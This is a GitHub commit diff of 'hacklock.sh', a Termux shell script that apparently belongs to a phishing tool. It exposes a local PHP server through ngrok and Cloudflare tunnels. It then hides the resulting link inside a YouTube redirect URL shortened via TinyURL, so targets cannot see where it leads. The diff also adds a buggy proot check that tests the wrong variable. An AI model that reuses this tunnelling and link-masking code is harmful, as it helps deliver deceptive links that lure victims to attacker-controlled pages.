Skip to content

Commit defedaa

Browse files
authored
Update hacklock.sh
1 parent 82e7ae3 commit defedaa

File tree

1 file changed

+8
-2
lines changed

1 file changed

+8
-2
lines changed

hacklock.sh

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -116,6 +116,7 @@ stop() {
116116
checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
117117
checkphp=$(ps aux | grep -o "php" | head -n1)
118118
checkcloud=$(ps aux | grep -o "cloudflared" | head -n1)
119+
checkproot=$(ps aux | grep -o "proot" | head -n1)
119120

120121
if [[ $checkngrok == *'ngrok'* ]]; then
121122
pkill -f -2 ngrok > /dev/null 2>&1
@@ -127,9 +128,14 @@ pkill -f -2 php > /dev/null 2>&1
127128
killall -2 php > /dev/null 2>&1
128129
fi
129130

131+
if [[ $checkngrok == *'proot'* ]]; then
132+
pkill -f -2 proot > /dev/null 2>&1
133+
killall -2 proot > /dev/null 2>&1
134+
fi
135+
130136
if [[ $checkcloud == *'cloudflared'* ]]; then
131137
pkill -f -2 cloudflared > /dev/null 2>&1
132-
killall ssh > /dev/null 2>&1
138+
killall cloudflared > /dev/null 2>&1
133139
fi
134140

135141
if [[ -e sendlink ]]; then
@@ -219,7 +225,7 @@ printf "\e[1;92m[\e[0m*\e[1;92m] Starting forward servers...\n"
219225
termux-chroot ./cloudflared -url 127.0.0.1:5678 --logfile ${PWD}/cloudflare-log > /dev/null 2>&1 &
220226
sleep 20
221227
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9A-Za-z.-]*\.ngrok.io")
222-
clflare=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' "${PWD}/cloudflare-log")
228+
clflare=$(grep -o 'https://[-0-9a-z]*.trycloudflare.com' "${PWD}/cloudflare-log")
223229
printf "\e[1;92m[\e[0m*\e[1;92m] (NGROK) link:\e[0m\e[1;77m %s\e[0m\n" $link
224230
printf "\e[1;92m[\e[0m*\e[1;92m] (CooudFlare) link:\e[0m\e[1;77m %s\e[0m\n" $clflare
225231
send_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$link" | head -n1)

0 commit comments

Comments
 (0)